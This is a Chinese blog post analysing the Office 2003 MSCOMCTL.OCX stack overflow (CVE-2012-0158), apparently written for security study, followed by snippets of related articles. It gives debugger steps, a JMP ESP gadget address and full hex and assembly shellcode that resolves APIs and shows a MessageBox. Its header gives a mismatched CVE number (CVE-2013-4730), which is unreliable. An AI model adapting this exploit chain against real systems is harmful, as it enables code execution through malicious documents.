代码编织梦想

软件名称:Office 2003

软件版本:11.5604.5606

漏洞模块:MSCOMCTL.OCX

模块版本:----

编译日期:2022-07-10

操作系统:Windows XP/2003/7/8.1/10

漏洞编号:CVE-2013-4730

危害等级:超危

漏洞类型:缓冲区溢出

威胁类型:本地

软件简介

Microsoft Office 2003 是微软公司针对 Windows操作系统所推出的办公室套装软件,于 2003 年 9 月 17 日推出,其前一代产品为 Office XP,后一代产品为 Office 2007。

漏洞成因

CVE-2012-0158漏洞是一个栈溢出漏洞,该漏洞是微软Office办公软件中的MSCOMCTL.ocx中MSCOMCTL.ListView控件时检查失误造成的,攻击者可以通过精心构造的数据控制程序EIP实现任意代码执行。

    1、获取poc

    网络,论坛,Metasploit

     https://www.exploit-db.com/

     https://www.securityfocus.com/

    2、复现漏洞

    搭建漏洞环境,执行漏洞POC

    安装office 2003 sp3

    执行poc,word会直接崩溃,停止工作,如下图:

    3、分析漏洞

    定位漏洞触发模块:

    打开一个空白2003word文档,使用OD附加该文档(附加之前需要先对OD进行设置,取消对异常的忽略)

    附加之后,将所有线程激活,断点禁止,然后让程序跑起来。使用刚才打开的word打开我们的poc文件:

    打开文件之后,程序会在eip=41414141处断下,说明该位置就是溢出点。分析溢出点的附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经被破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,在这里可以发现有一个地址275C8A0A,该地址是MSCOMCTL模块中的地址,因此可以判断刚刚执行的函数中执行了MSCOMCTL模块中的代码。

    定位漏洞函数:

    已经确定是在MSCOMCTL模块触发的漏洞,OD中定位到0x275C8A0A,我们在这个函数刚进来的地方0x275C89C7下断点,然后重新运行程序,观察0x1215EC上的返回地址是什么时候被填充为0x41414141的:

    经过调试发现,当执行完0x275C8A05上的CALL指令之后,返回地址被填充成了41414141,所以可以确定是CALL 275C876D时出现了问题。使用IDA定位到MSCOMCTL.ocx中的275C876D函数

    重新在OD中调试程序,观察275C876D的参数:   

    进入275C876D这个函数进行分析,找到具体哪个操作,覆盖了返回地址:

    再使用IDA进行分析:       

    分析漏洞成因:

    使用010Editor打开文件,查看数据,找到8282的位置:      

    这里找到了两个8282,我们猜测一个应该是dwBytes,一个是v17。随便修改其中一个为8382,再次动态调试进行测试,观察分析:

    通过观察发现,函数内部读取的值变了,说明文件中第一个8282是参数中的长度,第二个8282是函数内读取的长度,两个长度都在文件中。经过分析之后,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

利用过程

    分析和设计shellcode的结构 

    在运行的程序中寻找跳板指令的地址

    运行WinDBG开始调试后,输入以下命令开始使用Mona

        .load pykd.pyd

        !py mona

    输入:!py mona mod,找到Rebase、SafeSEH、ASLR、NXCompata为False,而OS DLL为True的系统模块

    找到了MSVBVM60.DLL符合条件,然后在这个模块中找 JMP ESP 的指令地址:

    输入:!py mona findwild -s "jmp esp" -m msvbvm60.dll  

    找到一个0x729A0535得地址,而且权限是可读可执行,将这个地址替换掉溢出点的41414141,然后在该地址下断点,再进行测试:

    发现能够断在这个地方,说明程序已经能够按照我们的意图进行执行,下面只需要在后面添加我们的shellcode就行了。

    OD中选中对应的Shellcode,Shift+X 复制出,然后将其添加到poc的后面:   

    测试之后,成功弹出窗口:

PoC

Shellcode:

6083EC60EB4E47657450726F6341646472657373004C6F61644C696272617279457841005573657233322E646C6C004D657373616765426F7841004578697450726F636573730048656C6C6F20576F726C642100E8000000005B648B35300000008B760C8B761C8B368B56085352E8140000008BF0528D4BBC5152FFD05A53565052E86E000000558BEC83EC0C528B55088B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C0EB01408B75F88B34868B55088D34328B5D0C8D7BADB90E000000FCF3A675E38B75F433FF668B3C468B55FC8B34BA8B55088D04325A8BE55DC20800558BEC83EC088B5D148D4BCB6A006A0051FF550C8D4BD65150FF55108945FC8D4BE251FF7508FF55108945F88D4BEE6A0051516A00FF55FC6A00FF55F88BE55DC21000

汇编代码:

__asm

    {

        PUSHAD;

        SUB ESP, 0x60;       //开辟栈空间

        JMP tag_Shellcode;   //前置代码,避免后面额数据被解释为指令

        //[tag_next-0x53] "GetProcAddress"

        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)

        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)

        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)

        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_next-0x44] "LoadLibraryExA\0"

        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)

        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)

        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)

        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_next-0x35] "User32.dll\0"

        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)

        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)

        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

        //[tag_next-0x2A] "MessageBoxA\0"

        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)

        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)

        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_next-0x1E] "ExitProcess\0" 

        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)

        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)

        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_next-0x12] "Hello World!\0" 

        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)

        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)

        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)

        _asm _emit(0x00)

    tag_Shellcode:

        CALL tag_Next;

    tag_Next:

        pop ebx;      //Next的地址

        //获取关键模块基址

        mov esi, dword ptr fs : [0x30] ;  //esi = PEB的地址

        mov esi, [esi + 0x0c];         //esi = 指向 _PEB_LDR_DATA结构的指针

        mov esi, [esi + 0x1c];          //esi = 模块链表指针InInitializationOrderModuleList

        mov esi, [esi];              //esi = 访问链表中的第二个条目

        mov edx, [esi + 0x8];          //edx = kernel32.dll基址

        //获取GetProcAddress的函数地址

        //lea ebx,[ebx-0x52]

        push ebx;                       // 

        push edx;                       //模块基址

        CALL fun_GetProcAddress;

        mov esi, eax;                        //返回GetProcAddress的函数地址

        push edx;

        //获取LoadLibraryExA的函数地址

        lea ecx, [ebx - 0x44];

        push ecx;                      //"LoadLibraryExA"

        push edx;                       //模块基址:kernel32.dll

        call eax;                      //CALL GetProcAddress

        pop edx;

        //设置payload

        push ebx;                     //BaseAddr

        push esi;                       //GetProcAddress的函数地址

        push eax;                       //LoadLibraryExA的函数地址

        push edx;                       //模块基址

        call fun_Payload;

    fun_GetProcAddress :

        push ebp;

        mov ebp, esp;

        sub ESP, 0x0C;

        push edx;

        //获取EAT、ENT、EOT的地址

        mov edx, [ebp + 0x08];          //Kernel32.dll

        mov esi, [edx + 0x3C];           //IMAGE_DOS_HEADER.e_lfanew 文件偏移

        lea esi, [edx + esi];           //NT头的 VA

        mov esi, [esi + 0x78];          //IMAGE_DIRECTOTY_ENTRY_EXPORT.VirtualAddress

        lea esi, [edx + esi];          //导出表VA

        mov edi, [esi + 0x1C];          //EAT 的 RVA

        lea edi, [edx + edi];           //EAT 的 VA

        mov[ebp - 0x04], edi;

        mov edi, [esi + 0x20];           //ENT 的 RVA

        lea edi, [edx + edi];          //ENT 的 VA

        mov[ebp - 0x08], edi;

        mov edi, [esi + 0x24];          //EOT 的 RVA

        lea edi, [edx + edi];           //EOT 的 VA

        mov[ebp - 0xC], edi;

        //循环对比ENT中的函数名

        xor eax, eax;

        jmp tag_FirstCmp;

    tag_CmpFunNameLoop :

        inc eax;

    tag_FirstCmp :

        mov esi, [ebp - 0x8];           //ENT 的 VA

        mov esi, [esi + 4 * eax];        //函数名称的 RVA

        mov edx, [ebp + 0x8];          //kernel32.dll的基址

        lea esi, [edx + esi];

        mov ebx, [ebp + 0xC];          //

        lea edi, [ebx - 0x53];         //GetProcAddress的函数名地址

        mov ecx, 0xE;              //GetProcAddress 的长度

        cld;

        repe cmpsb;

        jne tag_CmpFunNameLoop;      //如果不相等就继续循环对比

        //成功后找到对应的序号

        mov esi, [ebp - 0xC];         //EOT 的 VA

        xor edi, edi;

        mov di, [esi + eax * 2];       // 用函数名数组下标在序号数组找到对应的序号

        //使用序号作为索引,找到函数名对应的函数地址

        mov edx, [ebp - 0x4];        //EAT 的 VA

        mov esi, [edx + edi * 4];       //用序号在函数地址数组找到对应的函数地址

        mov edx, [ebp + 0x8];       //kernel32.dll的基址

        //返回获取到的关键函数地址

        lea eax, [edx + esi];       //返回:GetProcAddress的函数地址

        pop edx;

        mov esp, ebp;

        pop ebp;

        retn 0x8;

    fun_Payload:

        push ebp;

        mov ebp, esp;

        sub esp, 0x08;

        mov ebx, [ebp + 0x14];     //BaseAddr

        //获取 MessageBoxA的函数地址

        lea ecx, [ebx - 0x35];       //"USER32.DLL"

        push 0;

        push 0;

        push ecx;                //模块名地址

        call[ebp + 0xC];             //LoadLibraryExA

        lea ecx, [ebx - 0x2A];         // "MessageBoxA"

        push ecx;            //函数名地址

        push eax;                //user32.dll基址

        call[ebp + 0x10];            //GetProcAddress

        mov[ebp - 0x4], eax;

        //获取ExitProcess函数的地址

        lea ecx, [ebx - 0x1E];        //"ExitProcess"

        push ecx;

        push[ebp + 0x08];            //Kernel32.dll

        call[ebp + 0x10];

        mov[ebp - 0x08], eax;

        lea ecx, [ebx - 0x12];     //"Hello World!\0"

        push 0;

        push ecx;

        push ecx;

        push 0;

        call[ebp - 0x4];            //MessageBoxA

        push 0;

        call[ebp - 0x8];          //ExitProcess

        mov esp, ebp;

        pop ebp;

        retn 0x10;

    }

结语

该漏洞是读取长度和验证长度都在文件中,攻击者可以随便写长度,造成溢出,执行恶意代码。

Office漏洞大多是栈溢出漏洞,而栈溢出漏洞的关键点是栈中数据被覆盖,然后通过跳转指令跳到其他地方去执行。栈溢出覆盖是从上到下覆盖的,溢出点下面是上一层函数的堆栈,上面是刚刚执行的函数的堆栈。分析过程中,需要找出真正将栈中数据覆盖的操作,通过测试找到溢出点,最终找到漏洞触发的原因。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/ZK_1874/article/details/127579133

microsoft office2003(cve-2012-0158)漏洞分析报告_东方二狗的博客-爱代码爱编程_win2003漏洞分析

软件名称:Microsoft Office 软件版本:2003 漏洞模块:MSCOMCTL.OCX POC来源:Kail(Linux)Metasploit框架 操作系统:Windows 7\sp1\x86 32位 漏洞编号

office 2003 sp3(CVE-2012-0158)漏洞分析报告-爱代码爱编程

软件名称:office 2003 软件版本:sp3 漏洞模块:MSCOMCTL.OCX 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:Windows 7专业版 漏洞编号:CVE-2012-0158 危害等级:中危 漏洞类型:缓冲区溢出 威胁类型:本地 1 漏洞介绍 • 2015年6月,国外安全厂商palo Alto Newwork

CVE-2012-0158漏洞分析记录-爱代码爱编程

漏洞描述 该漏洞发生在office 2003 sp3 mscomctl.ocx模块中,在拷贝一段内存数据,由于拷贝条件逻辑错误,造成的栈缓冲区溢出。 分析环境 win7专业版 软件:office 2003 分析工具:od,ida 漏洞分析过程: 1.获取poc: 网络,论坛, Metasploit https://www.exploit-d

CVE-2012-0158漏洞分析-爱代码爱编程

1. 软件简介 Microsoft Office 2003 sp3是2007年9月18日由微软公司创作的一个办公软件。精简版包含 Word、Excel、PowerPoint、Access、OutLook 五大组件常用功能(可选安装) 2. 漏洞成因 CVE-2012-0158发生在office的一个组件MSCOMCTL.OCX,多个版本office的

oracle远程投毒漏洞复现,oracle TNS Listener远程投毒(CVE-2012-1675)漏洞分析、复现...-爱代码爱编程

漏洞原理分析: CVE-2012-1675该漏洞产生的原因是因为“TNS Listener”组件中允许攻击者不使用用户名和密码的情况下就变成“自家人”,也就是说攻击者冒充受害者的小弟,但是受害者没有进行任何认证就相信了。然后现在受害者就有两个同名数据库了,监听将自动按照负载均衡把这次访问发送到负载低的数据库上,进行连接访问。 然后我们就在连接处

CVE-2010-2883 从漏洞分析到样本分析-爱代码爱编程

本文章将从漏洞利用分析开始,到样本分析结束,其中涉及到的知识点有PDF格式、TTF字体格式、缓冲区溢出漏洞利用、PE文件格式、软件脱壳和恶意代码分析。其中会演示一些基本操作,方便初学者进行复现。 前置知识 要学习本文章,需要下面的前置知识 C语言。可以看《C程序设计语言》。汇编语言。可以看《深入理解计算机系统》第三章。缓冲区溢出漏洞利用。可以看《0d

一文解读,网络安全行业人才需求情况《网络安全产业人才发展报告》-爱代码爱编程

随着近几天国家网络安全宣传周在全国各地开展活动,网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里,惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何?该怎么提升自我能力,更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。   一、网络安全行业

[漏洞分析] CVE-2022-0492 容器逃逸漏洞分析-爱代码爱编程

CVE-2022-0492 容器逃逸分析 文章目录 CVE-2022-0492 容器逃逸分析漏洞简介环境搭建漏洞原理与相关知识漏洞发生点cgroup 简介cgroup 使用release_agentunshare 命令漏洞利用利用条件漏洞利用获得CAP_SYS_ADMINmount cgroup与获取容器在宿主机中的路径修改release_age

信通院郭雪:软件供应链安全标准体系建设与洞察_悬镜安全的博客-爱代码爱编程

在第十届互联网安全大会(ISC 2022)上,悬镜安全出品并主办了软件供应链安全治理与运营论坛,特邀中国信息通信研究院(以下简称“信通院”)云计算与大数据研究所开源和软件安全部副主任郭雪,发表了主题为“软件供应链安全标准体系建设与洞察”的精彩演讲。 图1 信通院郭雪在悬镜软件供应链安全治理与运营论坛发表主题演讲 以下为演讲实录: 大家好,